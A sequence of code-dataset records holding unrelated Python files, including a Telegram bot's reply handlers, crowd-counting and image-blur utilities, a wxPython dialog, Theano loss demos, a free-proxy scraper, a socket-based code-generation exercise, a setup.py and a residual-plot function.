update.message.reply_text(\"Слава Казахстану, героям слава\")\n elif \"пизды дам\" in user_say:\n update.message.reply_text(\"https://t.me/c/1552294756/1821\")\n elif \"user_says\" in user_say:\n update.message.reply_text(user_say)\n\ndef error(update, context):\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n # Create the Updater and pass it your bot's token.\n # Make sure to set use_context=True to use the new context based callbacks\n # Post version 12 this will no longer be necessary\n updater = Updater(TOKEN, use_context=True)\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # on different commands - answer in Telegram\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(CommandHandler(\"help\", help))\n dp.add_handler(MessageHandler(Filters.text, echo))\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_webhook(listen = \"0.0.0.0\", \n port=int(PORT),\n url_path=TOKEN,\n webhook_url='https://stormy-thicket-52208.herokuapp.com/' + TOKEN)\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\nif __name__ == '__main__':\n main()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"344009069","text":"\"\"\"\nThis file contains important utility functions used during training, validation and testing.\n\n@author: Aditya Vora\n\n\"\"\"\n\nimport glob\nimport os\nimport random\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport scipy.io as sio\nimport cv2\nimport random\nimport math\nfrom datetime import datetime\n\n\ndef get_density_map_gaussian(points, d_map_h, d_map_w):\n \"\"\"\n Creates density maps from ground truth point locations\n :param points: [x,y] x: along width, y: along height\n :param d_map_h: height of the density map\n :param d_map_w: width of the density map\n :return: density map\n \"\"\"\n\n im_density = np.zeros(shape=(d_map_h, d_map_w), dtype=np.float32)\n\n if np.shape(points)[0] == 0:\n sys.exit()\n\n for i in range(np.shape(points)[0]):\n\n f_sz = 15\n sigma = 4\n\n gaussian_kernel = get_gaussian_kernel(f_sz, f_sz, sigma)\n\n x = min(d_map_w, max(1, np.abs(np.int32(np.floor(points[i, 0])))))\n y = min(d_map_h, max(1, np.abs(np.int32(np.floor(points[i, 1])))))\n\n if(x > d_map_w or y > d_map_h):\n continue\n\n x1 = x - np.int32(np.floor(f_sz / 2))\n y1 = y - np.int32(np.floor(f_sz / 2))\n x2 = x + np.int32(np.floor(f_sz / 2))\n y2 = y + np.int32(np.floor(f_sz / 2))\n\n dfx1 = 0\n dfy1 = 0\n dfx2 = 0\n dfy2 = 0\n\n change_H = False\n\n if(x1 < 1):\n dfx1 = np.abs(x1)+1\n x1 = 1\n change_H = True\n\n if(y1 < 1):\n dfy1 = np.abs(y1)+1\n y1 = 1\n change_H = True\n\n if(x2 > d_map_w):\n dfx2 = x2 - d_map_w\n x2 = d_map_w\n change_H = True\n\n if(y2 > d_map_h):\n dfy2 = y2 - d_map_h\n y2 = d_map_h\n change_H = True\n\n x1h = 1+dfx1\n y1h = 1+dfy1\n x2h = f_sz - dfx2\n y2h = f_sz - dfy2\n\n if (change_H == True):\n f_sz_y = np.double(y2h - y1h + 1)\n f_sz_x = np.double(x2h - x1h + 1)\n\n gaussian_kernel = get_gaussian_kernel(f_sz_x, f_sz_y, sigma)\n\n im_density[y1-1:y2, x1-1:x2] = im_density[y1 -\n 1:y2, x1-1:x2] + gaussian_kernel\n return im_density\n\n\ndef get_gaussian_kernel(fs_x, fs_y, sigma):\n \"\"\"\n Create a 2D gaussian kernel\n :param fs_x: filter width along x axis\n :param fs_y: filter width along y axis\n :param sigma: gaussian width\n :return: 2D Gaussian filter of [fs_y x fs_x] dimension\n \"\"\"\n gaussian_kernel_x = cv2.getGaussianKernel(ksize=np.int(fs_x), sigma=sigma)\n gaussian_kernel_y = cv2.getGaussianKernel(ksize=np.int(fs_y), sigma=sigma)\n gaussian_kernel = gaussian_kernel_y * gaussian_kernel_x.T\n return gaussian_kernel\n\n\ndef compute_abs_err(pred, gt):\n \"\"\"\n Computes mean absolute error between the predicted density map and ground truth\n :param pred: predicted density map\n :param gt: ground truth density map\n :return: abs |pred - gt|\n \"\"\"\n return np.abs(np.sum(pred[:]) - np.sum(gt[:]))\n\n\ndef create_session(weights_dir):\n \"\"\"\n Module to create a session folder. It will create a folder with a proper session\n id and return the session path.\n :param log_dir: root log directory\n :param session_id: ID of the session\n :return: path of the session id folder\n \"\"\"\n previous_sessions = [int(s) for s in os.listdir(weights_dir)]\n session_id = max(previous_sessions) + 1 if len(previous_sessions)>0 else 0\n\n \n folder_path = os.path.join(weights_dir, (str(session_id)).zfill(5))\n if os.path.exists(folder_path):\n print('Session already taken. Please select a different session id.')\n sys.exit()\n else:\n os.makedirs(folder_path)\n print(\"Generated session {}\".format(folder_path))\n \n # Create Tf logs folder\n tflogs_folder = os.path.join(folder_path, \"tflogs\")\n os.mkdir(tflogs_folder)\n \n # Create weights folder\n weights_folder = os.path.join(folder_path, \"weights\")\n os.mkdir(weights_folder)\n \n return tflogs_folder, weights_folder\n\n\ndef get_file_id(filepath):\n return os.path.splitext(os.path.basename(filepath))[0]\n\n\ndef get_data_list(data_root, mode='train', part='A', dry_run=False):\n \"\"\"\n Returns a list of images that are to be used during training, validation and testing.\n It looks into various folders depending on the mode and prepares the list.\n :param mode: selection of appropriate mode from train, validation and test.\n :param part: selection of training set part A or B\n :param dry_run: If dry run then only one item is returned. Useful for testing the script\n :return: a list of filenames of images and corresponding ground truths after random shuffling.\n \"\"\"\n data_root = os.path.join(data_root, 'part_{}'.format(part))\n if mode == 'train':\n imagepath = os.path.join(data_root, 'train_data', 'images')\n gtpath = os.path.join(data_root, 'train_data', 'ground-truth')\n elif mode=='valid':\n imagepath = os.path.join(data_root, 'train_data', 'images')\n gtpath = os.path.join(data_root, 'train_data', 'ground-truth')\n else:\n imagepath = os.path.join(data_root, 'test_data', 'images')\n gtpath = os.path.join(data_root, 'test_data', 'ground-truth')\n\n image_list = [file for file in glob.glob(os.path.join(imagepath, '*.jpg'))]\n gt_list = []\n\n for filepath in image_list:\n file_id = get_file_id(filepath)\n gt_file_path = os.path.join(gtpath, 'GT_' + file_id + '.mat')\n gt_list.append(gt_file_path)\n\n if mode == 'train':\n image_list = image_list[len(image_list)//10:]\n gt_list = gt_list[len(gt_list)//10:]\n elif mode =='valid':\n image_list = image_list[:len(image_list)//10]\n gt_list = gt_list[:len(gt_list)//10]\n\n xy = list(zip(image_list, gt_list))\n random.shuffle(xy)\n s_image_list, s_gt_list = list(zip(*xy))\n\n if dry_run:\n s_image_list = s_image_list[:1]\n s_gt_list = s_gt_list[:1]\n return s_image_list, s_gt_list\n\n\ndef reshape_tensor(tensor):\n \"\"\"\n Reshapes the input tensor appropriate to the network input\n i.e. [1, tensor.shape[0], tensor.shape[1], 1]\n :param tensor: input tensor\n :return: reshaped tensor\n \"\"\"\n r_tensor = np.reshape(tensor, newshape=(\n 1, tensor.shape[0], tensor.shape[1], 1))\n return r_tensor\n\n\ndef save_weights(graph, fpath):\n \"\"\"\n Module to save the weights of the network into a numpy array.\n Saves the weights in .npz file format\n :param graph: Graph whose weights needs to be saved.\n :param fpath: filepath where the weights needs to be saved.\n :return:\n \"\"\"\n sess = tf.get_default_session()\n variables = graph.get_collection(\"variables\")\n variable_names = [v.name for v in variables]\n kwargs = dict(list(zip(variable_names, sess.run(variables))))\n np.savez(fpath, **kwargs)\n\n\ndef load_weights(graph, fpath):\n \"\"\"\n Load the weights to the network. Used during transfer learning and for making predictions.\n :param graph: Computation graph on which weights needs to be loaded\n :param fpath: Path where the model weights are stored.\n :return:\n \"\"\"\n sess = tf.get_default_session()\n variables = graph.get_collection(\"variables\")\n data = np.load(fpath)\n for v in variables:\n if v.name not in data:\n print((\"could not load data for variable='%s'\" % v.name))\n continue\n print((\"assigning %s\" % v.name))\n sess.run(v.assign(data[v.name]))\n\n\ndef load_gray_image(filename):\n \"\"\"\n :param filename: load the image and cvt to gray \n \"\"\"\n img = cv2.imread(filename)\n gray_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n return np.asarray(gray_img, dtype=np.float32)\n\n\ndef load_gt(gt_filename, image_shape):\n \"\"\"\n :param gt_filename: mat file for points\n :param image_shape: the imagefile raw shape\n :return points, count_points, gaussian_map\n \"\"\"\n image_info = sio.loadmat(gt_filename)['image_info'][0][0][0][0]\n points = image_info[0]\n count_points = image_info[1]\n gmap = get_density_map_gaussian(points, image_shape[0], image_shape[1])\n gmap_resized = cv2.resize(gmap, (math.ceil(\n image_shape[1]/4), math.ceil(image_shape[0]/4)))\n return points, count_points, gmap\n","sub_path":"Disha-Pattani/models/crowdetection/mccnn/mccnn_utils.py","file_name":"mccnn_utils.py","file_ext":"py","file_size_in_byte":8331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"94322568","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nimport armid\nimport wx\nfrom Borg import Borg\nfrom VulnerabilityParameters import VulnerabilityParameters\n\n#import DimensionPanelFactory\n\nclass TraceExplorer(wx.Dialog):\n def __init__(self,parent,traceDimension,isFrom,envName=''):\n wx.Dialog.__init__(self,parent,armid.TRACE_ID,'Contributions',style=wx.DEFAULT_DIALOG_STYLE|wx.MAXIMIZE_BOX|wx.THICK_FRAME|wx.RESIZE_BORDER,size=(800,300))\n b = Borg()\n self.dbProxy = b.dbProxy\n self.theTraceDimension = traceDimension\n self.isFromIndicator = isFrom\n self.theSelectedValue = ''\n self.theToDimension = ''\n self.theLabel = ''\n self.theEnvironmentName = envName\n\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer = wx.BoxSizer(wx.HORIZONTAL)\n mainSizer.Add(frameSizer,1,wx.EXPAND)\n\n dimensionSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer.Add(dimensionSizer,0,wx.EXPAND)\n dimensionLabel = wx.StaticText(self,-1,'Dimension:')\n dimensionSizer.Add(dimensionLabel)\n dimensions = self.dbProxy.getTraceDimensions(self.theTraceDimension,self.isFromIndicator)\n self.dimensionList = wx.ListBox(self,armid.TRACE_LISTDIM_ID,choices=dimensions,style=wx.LB_SINGLE)\n dimensionSizer.Add(self.dimensionList,1,wx.EXPAND)\n\n valueSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer.Add(valueSizer,1,wx.EXPAND)\n valueLabel = wx.StaticText(self,-1,'Value:')\n valueSizer.Add(valueLabel)\n self.valueList = wx.ListBox(self,armid.TRACE_LISTVALUES_ID,style=wx.LB_SINGLE)\n valueSizer.Add(self.valueList,1,wx.EXPAND)\n \n labelBox = wx.StaticBox(self,-1,'Label')\n labelBoxSizer = wx.StaticBoxSizer(labelBox,wx.HORIZONTAL)\n mainSizer.Add(labelBoxSizer,0,wx.EXPAND)\n self.labelCtrl = wx.TextCtrl(self,armid.TRACE_TEXTLABEL_ID,'')\n labelBoxSizer.Add(self.labelCtrl,1,wx.EXPAND)\n self.labelCtrl.Disable()\n\n buttonSizer = wx.BoxSizer(wx.HORIZONTAL)\n mainSizer.Add(buttonSizer,0,wx.ALIGN_CENTER)\n addButton = wx.Button(self,armid.TRACE_BUTTONADD_ID,\"Add\")\n buttonSizer.Add(addButton)\n cancelButton = wx.Button(self,wx.ID_CANCEL,\"Cancel\")\n buttonSizer.Add(cancelButton)\n self.SetSizer(mainSizer)\n\n wx.EVT_LISTBOX(self.dimensionList,armid.TRACE_LISTDIM_ID,self.onDimItemSelected)\n wx.EVT_LISTBOX(self.valueList,armid.TRACE_LISTVALUES_ID,self.onValueItemSelected)\n wx.EVT_BUTTON(self,armid.TRACE_BUTTONADD_ID,self.onAdd)\n wx.EVT_BUTTON(self,wx.ID_CANCEL,self.onClose)\n\n def onDimItemSelected(self,evt):\n valueIdx = self.valueList.GetSelection()\n self.valueList.Deselect(valueIdx)\n self.theToDimension = self.dimensionList.GetStringSelection()\n if (self.theToDimension == 'requirement'):\n self.labelCtrl.Enable()\n else:\n self.labelCtrl.Disable()\n\n if (self.theToDimension):\n dimensionValues = self.dbProxy.getDimensionNames(self.theToDimension,self.theEnvironmentName)\n self.valueList.Set(dimensionValues)\n\n def onValueItemSelected(self,evt):\n self.theSelectedValue = self.valueList.GetStringSelection()\n\n def toDimension(self): return self.theToDimension\n def fromDimension(self): \n if (self.isFromIndicator == True): \n return self.toDimension()\n\n def toValue(self): return self.theSelectedValue\n\n def label(self): return self.labelCtrl.GetValue()\n\n def toId(self):\n return self.dbProxy.getDimensionId(self.theSelectedValue,self.theToDimension)\n \n \n def onAdd(self,evt):\n if len(self.theToDimension) == 0:\n dlg = wx.MessageDialog(self,'No target dimension has been selected','Add trace',wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n return\n elif (len(self.theSelectedValue) == 0):\n dlg = wx.MessageDialog(self,'No dimension value has been selected','Add trace',wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n return\n else:\n idx = self.dimensionList.GetSelection()\n self.dimensionList.Deselect(idx)\n idx = self.valueList.GetSelection()\n self.valueList.Deselect(idx)\n self.EndModal(armid.TRACE_BUTTONADD_ID)\n\n def onClose(self,evt):\n idx = self.dimensionList.GetSelection()\n self.dimensionList.Deselect(idx)\n self.EndModal(wx.ID_CLOSE)\n","sub_path":"cairis/cairis/TraceExplorer.py","file_name":"TraceExplorer.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"488551174","text":"'''\nmain.py /* 当前文件名 */\nCourse10_类与对象 /* 当前工程名 */\n\nCreated by SuHan on January, 21 2016. /* 创建日期 */\nCopyright (c) 2016年 www.china-node.com. All rights reserved. /* 版权说明 */\n'''\n'''\n1.抽象的概念\n 类和对象都是哲学思想中的两个基本概念\n\n 类代表: 集合,抽象,描述\n 对象代表: 单个,具体,实在\n\n 类具有两种元素:属性,方法\n 对象是构成世界的基本单位\n\n 实例:电脑,CPU,主板,内存,制图,开发,计算\n'''\n\nif True:\n class PC():\n #为PC类设置属性,并为属性赋值\n def __init__(self,cpu,board,ram,name='None'):\n self.cpu = cpu\n self.board = board\n self.ram = ram\n self.name = name\n\n def set_name(self,name):\n self.name = name\n\n #为PC类添加方法\n def get_para(self):\n print('hostname:%s\\ncpu:%d\\nboard:%s\\nram:%d\\n'%(self.name,self.cpu,self.board,self.ram))\n\n def drawing(self,object):\n ram_need = 2048\n if self.ram < ram_need:\n print(\"%s less of ram to drawing. %d at least!\"%(self.name,ram_need))\n else:\n print('A '+object+' has been drawn!')\n def calculate(self,fun):\n res = fun()\n cpu_need = 4500\n if res < 100:\n print(\"%s calculate %s : %d\"%(self.name,fun.__name__,res))\n else:\n if self.cpu < 4500:\n print(\"%s's cpu can't support %s. at least %d\"%(self.name,fun.__name__,cpu_need))\n else:\n print(\"%s calculate %s : %d\"%(self.name,fun.__name__,res))\n #类的继承\n class NOTEBOOK(PC):\n pass\n\n\n #创建两个pc对象pc01,pc02\n pc1 = PC(cpu=4400,board='board1',ram=4094)\n pc2 = PC(cpu=4900,board='board2',ram=1024)\n #通过方法打印pc的属性\n pc1.set_name('pc1')\n pc1.get_para()\n pc2.set_name('pc2')\n pc2.get_para()\n print('######################')\n #测试不同pc的绘图方法\n pc1.drawing('cat')\n pc2.drawing('dog')\n #测试不同pc的计算方法\n def fun01():\n return 10*9\n def fun02():\n return 10*11\n pc1.calculate(fun01)\n pc1.calculate(fun02)\n pc2.calculate(fun01)\n pc2.calculate(fun02)\n print('######################')\n #测试继承效果\n notebook01 = NOTEBOOK(cpu=4700,board='board3',ram=9600,name='note01')\n notebook01.get_para()\n\nelse:\n pass","sub_path":"Course10_类与对象.py","file_name":"Course10_类与对象.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"211224422","text":"import theano.tensor as T\nfrom theano import function\n\n\"\"\"\ndemo for how to define a loss function using Theano\n\"\"\"\n\n#binary cross entropy\na1 = T.dmatrix('a1')\na2 = T.dmatrix('a2')\nf_a = T.nnet.binary_crossentropy(a1, a2).mean()\nf_sigmoid = function([a1, a2], [f_a])\nprint(\"Binary Cross Entropy [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_sigmoid([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n\n#categorical cross entropy\nb1 = T.dmatrix('b1')\nb2 = T.dmatrix('b2')\nf_b = T.nnet.categorical_crossentropy(b1, b2)\nf_sigmoid = function([b1,b2], [f_b])\nprint(\"Categorical Cross Entropy [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_sigmoid([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n\n#squared error\ndef squared_error(x, y):\n return (x-y)**2\n\nc1 = T.dmatrix('d1')\nc2 = T.dmatrix('d2')\nf_c = squared_error(c1, c2)\nf_squared_error = function([c1, c2], [f_c])\nprint(\"Squared Error [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_squared_error([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n","sub_path":"theano_demo/theano_sample7.py","file_name":"theano_sample7.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"486934154","text":"import sys\nimport math\n\ndef pix_rows(pixels, width, height):\n pixel_list = []\n for num in range(height):\n pixel_list.append(pixels[width * num: width * (num + 1)])\n return pixel_list\n\n\ndef pix_cols(pix_rows, width):\n pixel_list = []\n for num in range(len(pix_rows[0])):\n pix = []\n for idx in range(len(pix_rows)):\n pix.append(pix_rows[idx][num])\n pixel_list.append(pix)\n return pixel_list\n \ndef cols_to_rows(pixels):\n pixel_list = []\n for num in range(len(pixels[0])):\n pix = []\n for idx in range(len(pixels)):\n pix.append(pixels[idx][num])\n pixel_list.append(pix)\n return pixel_list\n\n\n\ndef main():\n try:\n file = open(sys.argv[1], 'r')\n blur_factor = int(sys.argv[2])\n except IndexError:\n blur_factor = 4\n except ValueError:\n print('Usage: python3 blur.py []')\n exit()\n except FileNotFoundError:\n print('Unable to open {0}'.format(sys.argv[1]))\n exit()\n\n blurred = open('blurred.ppm', 'w')\n\n blurred.write(file.readline())\n\n wxh = (file.readline())\n wxh_list = wxh.split(' ')\n width = int(wxh_list[0])\n height = int(wxh_list[1])\n blurred.write(wxh)\n\n blurred.write(file.readline())\n \n\n pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n\n \n#GROUP PIXELS\n#=============================================================\n\n pixels = []\n for row in range(height):\n for col in range(width):\n pixel = []\n\n while len(pixel) < 3:\n if len(pixel_list) == 0:\n pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n elif len(pixel_list) == 1 and pixel_list[0] == '':\n Pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n else:\n pixel.append(pixel_list.pop(0))\n\n\n #distance = math.sqrt(((height - row) - point_row)**2 + ((width - col) - column)**2)\n #scaler = (rad - distance) / rad\n red = int(pixel.pop(0))\n green = int(pixel.pop(0))\n blue = int(pixel.pop(0))\n #if scaler < .2:\n # scaler = .2\n #scaled_red = float(red) * scaler\n #scaled_green = float(green) * scaler\n #scaled_blue = float(blue) * scaler\n pixel = [red, green, blue]\n pixels.append(pixel)\n \n\n\n pixel_rows = pix_rows(pixels, width, height)\n max_pixels = ((blur_factor * 2) + 1) ** 2\n for row in range(height):\n print(row)\n for col in range(width):\n in_range = []\n\n#REMOVE UNEEDED ROWS\n#===============================================================\n\n for idx in range(len(pixel_rows[:row + blur_factor])):\n if abs(row - idx) <= blur_factor:\n in_range.append(pixel_rows[idx])\n\n pixel_cols = pix_cols(in_range, width)\n in_range1 = []\n\n#REMOVE UNEEDED COLUMNS\n#================================================================\n\n for idx in range(len(pixel_cols)):\n if abs(col - idx) <= blur_factor:\n in_range1.append(pixel_cols[idx])\n\n pixel_rows1 = cols_to_rows(in_range1) \n\n#LIST OF TOTAL VALUES PER COLOR\n#=================================================================\n\n total_val = [0, 0, 0]\n for item in range(len(pixel_rows1)):\n for pixel in range(len(pixel_rows1[0])):\n total_val[0] += pixel_rows1[item][pixel][0]\n total_val[1] += pixel_rows1[item][pixel][1]\n total_val[2] += pixel_rows1[item][pixel][2]\n#CALCULATE AVG VALUES\n#=================================================================\n avg_val = [0, 0, 0]\n for idx in range(3):\n avg_val[idx] = total_val[idx] / max_pixels\n\n#WRITE TO BLURRED\n#=================================================================\n\n for item in avg_val:\n blurred.write(str(int(item)) + ' ')\n\n\n\n\n file.close()\n blurred.close()\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"blur.py","file_name":"blur.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"517410296","text":"from spoon_server.proxy.provider import Provider\nfrom spoon_server.util.html_parser import get_html_tree\n\n\nclass GouProvider(Provider):\n def __init__(self, url_list=None):\n super(Provider, self).__init__()\n if not url_list:\n self.url_list = self._gen_url_list()\n\n @staticmethod\n def _gen_url_list(page=2):\n base_url_list = [\"http://www.goubanjia.com/free/gngn/index{0}.shtml\",\n \"http://www.goubanjia.com/free/gwgn/index{0}.shtml\",\n \"http://www.goubanjia.com/free/gwpt/index{0}.shtml\"]\n\n url_list = [url.format(j) for url in base_url_list for j in range(1, page)]\n return url_list\n\n @Provider.provider_exception\n def getter(self):\n for url in self.url_list:\n tree = get_html_tree(url)\n if tree is None:\n continue\n px_segment = tree.xpath(\"//table[@ class='table']/tbody/tr\")\n for px in px_segment:\n yield \"\".join(px.xpath(\n \"./td[@class='ip']/span/text() | ./td[@class='ip']/div/text()|./td[@class='ip']/text()\"))\n\n\nif __name__ == \"__main__\":\n kd = GouProvider()\n try:\n for proxy in kd.getter():\n print(proxy)\n except Exception as e:\n print(e)\n","sub_path":"spoon_server/proxy/gou_provider.py","file_name":"gou_provider.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"311841754","text":"\ndef gen_code(lis):\n #client stub\n import socket\n HOST = \"\"\n PORT = 9851\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.connect((HOST, PORT))\n out_data = lis[0]+\" \"+lis[1]+\" \"+lis[2]\n\n client.sendall(bytes(out_data,'UTF-8'))\n in_data = client.recv(1024)\n client.close()\n f=open(\"temp.py\",\"w\")\n f.write(\"def fun\"+\"(a,b):\\n\")\n f.write(\"\\t\"+\"return \"+in_data.decode())\n f.close()\n","sub_path":"2019202009/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"641252464","text":"import os\n\nimport setuptools\n\nVERSION = '0.4.10'\nDESCRIPTION = 'Strava Command-Line Tools'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetuptools.setup(\n python_requires='>=3.0',\n name='strava-cli',\n description=DESCRIPTION,\n long_description=long_description,\n long_description_content_type='text/markdown',\n version=VERSION,\n author='Bartlomiej Wilczynski',\n author_email='me@bwilczynski.com',\n url='https://github.com/bwilczynski/strava-cli',\n packages=setuptools.find_packages(),\n install_requires=[\n 'backports.zoneinfo==0.2.1',\n 'certifi==2020.12.5',\n 'chardet==3.0.4',\n 'click==7.1.2',\n 'click-option-group==0.5.2',\n 'dateparser==1.0.0',\n 'idna==2.8',\n 'numpy==1.19.5',\n 'oauthlib==3.1.0',\n 'pandas==1.2.0',\n 'python-dateutil==2.8.1',\n 'pytz==2020.5',\n 'regex==2020.11.13',\n 'requests==2.22.0',\n 'requests-oauthlib==1.3.0',\n 'six==1.15.0',\n 'strava-cli==0.4.10',\n 'tabulate==0.8.7',\n 'tzlocal==3.0b1',\n 'urllib3==1.25.11',\n ],\n entry_points='''\n [console_scripts]\n strava=strava.cli.cli:cli\n ''',\n include_package_data=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"474040379","text":"from scipy.stats import skew, kurtosis, norm, iqr, stats\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os \nfrom math import sqrt\nfrom sklearn.metrics import mean_squared_error\n\ndef make_residual_plot(actual,\n predicted, \n bins,\n file_name,\n xlabel,\n labelsize = 15,\n titlesize= 15,\n legendsize= 15,\n ticksize = 15,\n figsize = (8,8)):\n \n graph_output_path = os.path.join(os.getcwd(), \n 'output_rs_learn',\n 'graphs')\n \n if not os.path.exists(graph_output_path):\n os.makedirs(graph_output_path) \n \n f = plt.figure(figsize = figsize)\n \n #compute metrics\n error = predicted - actual\n error_ave = error.mean()\n error_std = error.std()\n error_min = error.min()\n error_max = error.max()\n error_iqr = iqr(error)\n error_q1 = np.quantile(error, 0.25)\n error_q3 = np.quantile(error, 0.75)\n ll = error_q1 - (1.5 * error_iqr)\n ul = error_q3 + (1.5 * error_iqr) \n rmse = sqrt(mean_squared_error(actual, predicted)) \n dist_error_bins = bins \n# predicted_ave = predicted.mean()\n\n \n #scatter \n grid = plt.GridSpec(8, 8, \n hspace = 0.2, \n wspace = 0.05)\n \n main_ax = f.add_subplot(grid[:-1, 1:])\n y_hist = f.add_subplot(grid[:-1, 0], \n sharey = main_ax) \n \n #make zero line \n main_ax.axhline(0, \n color = 'r', \n linestyle = '-', \n linewidth = 1,\n label = 'zero line') \n \n #make outlier line\n main_ax.axhline(ll, \n color = 'r', \n linewidth = 1,\n linestyle = '--', \n label = '1.5 IQR')\n \n main_ax.axhline(ul, \n color = 'r', \n linestyle = '--', \n linewidth = 1)\n \n #make +/- rmse line\n main_ax.axhline(-rmse, \n color = 'b', \n linewidth = 1,\n linestyle = ':', \n label = 'rmse: +/- %.2f'%rmse)\n\n main_ax.axhline(rmse, \n color = 'b', \n linewidth = 1,\n linestyle = ':')\n\n #plot data\n main_ax.scatter(predicted, \n error,\n marker = 's',\n color = 'k',\n facecolors = 'None',\n linewidth = 1,\n s = 25)\n# main_ax.set_xticks(fontsize = ticksize)\n #hide y axis\n main_ax.axes.get_yaxis().set_visible(False)\n \n #show ave of predicted\n# j = main_ax.scatter(predicted_ave, \n# 0,\n# color = 'green',\n# alpha = 1,\n# marker = 'o',\n# linewidth = 2)\n#\n# j.set_zorder(20)\n \n# txt =' Predicted_μ: %.2f'%predicted_ave \n# \n# props = dict(boxstyle = 'round', \n# facecolor = 'w', \n# alpha = 1)\n \n# main_ax.text(predicted_ave, \n# 0, \n# txt, \n# fontsize = 8,\n# bbox = props)\n \n #put text\n txt = 'ε_μ: %.2f,ε_σ: %.2f \\nε_min: %.2f, ε_max: %.2f'%(error_ave,\n error_std,\n error_min,\n error_max) \n \n # #make psuedo element to add to legend\n main_ax.axvline(0, \n alpha = 0,\n label = txt) \n\n main_ax.legend(loc = 'best',\n framealpha = 0.9,\n fontsize = legendsize,\n facecolor = 'grey')\n\n #distribution error\n n, bins, patches = y_hist.hist(error, \n bins = dist_error_bins, \n density = 1, \n facecolor = 'white', \n edgecolor = 'k', \n linewidth = 1,\n orientation='horizontal')\n\n y_hist.invert_xaxis()\n \n y_hist.axhline(0, \n color = 'r', \n linestyle = '-', \n linewidth = 1)\n \n y_hist.axes.get_xaxis().set_visible(False)\n \n #put xy labels, title, and legend\n main_ax.set_xlabel(xlabel, \n fontsize = labelsize)\n main_ax.tick_params(labelsize = ticksize)\n# main_ax.title\n plt.xticks(fontsize = ticksize)\n plt.yticks(fontsize = ticksize)\n\n\n# m = plt.legend(loc = 'best',\n# framealpha = 0.9,\n# fontsize = legendsize,\n# facecolor = 'grey')\n \n# m.set_zorder(21)\n \n y_hist.set_ylabel('Errors', \n fontsize = labelsize)\n \n main_ax.set_title('Error distribution and residual plot', \n loc = 'left',\n fontsize = titlesize)\n \n main_ax.set_xlim(predicted.min(),\n predicted.max())\n f.tight_layout()\n #save figure\n plt.savefig(os.path.join(graph_output_path,\n '%s_residuals.png'%file_name),\n dpi = 300)\n \n plt.show()\n\n\n# import pandas as pd\n# df = pd.read_csv(\"sample_dataframe.csv\")\n# make_residual_plot(df.iloc[:,0], \n # df.iloc[:,1],\n # bins = 50,\n # file_name = 'chla-results2',\n # xlabel = 'Chlorophyll (u/L)',\n # labelsize = 18,\n # titlesize= 18,\n # legendsize= 20,\n # ticksize = 20,\n # figsize = (10,10))\n\n\n\n\n#make_scatter(df.iloc[:,0], \n# df.iloc[:,1],\n# file_name = 'test',\n# xlabel = 'Prediction',\n# ylabel = 'Actual',\n# title = 'Actual vs. Predicted',\n# labelsize = 15,\n# same_xy = [0,100],\n## show_ave = True,\n# rmse = True,\n## show_ave = False,\n## rmse = False\n# 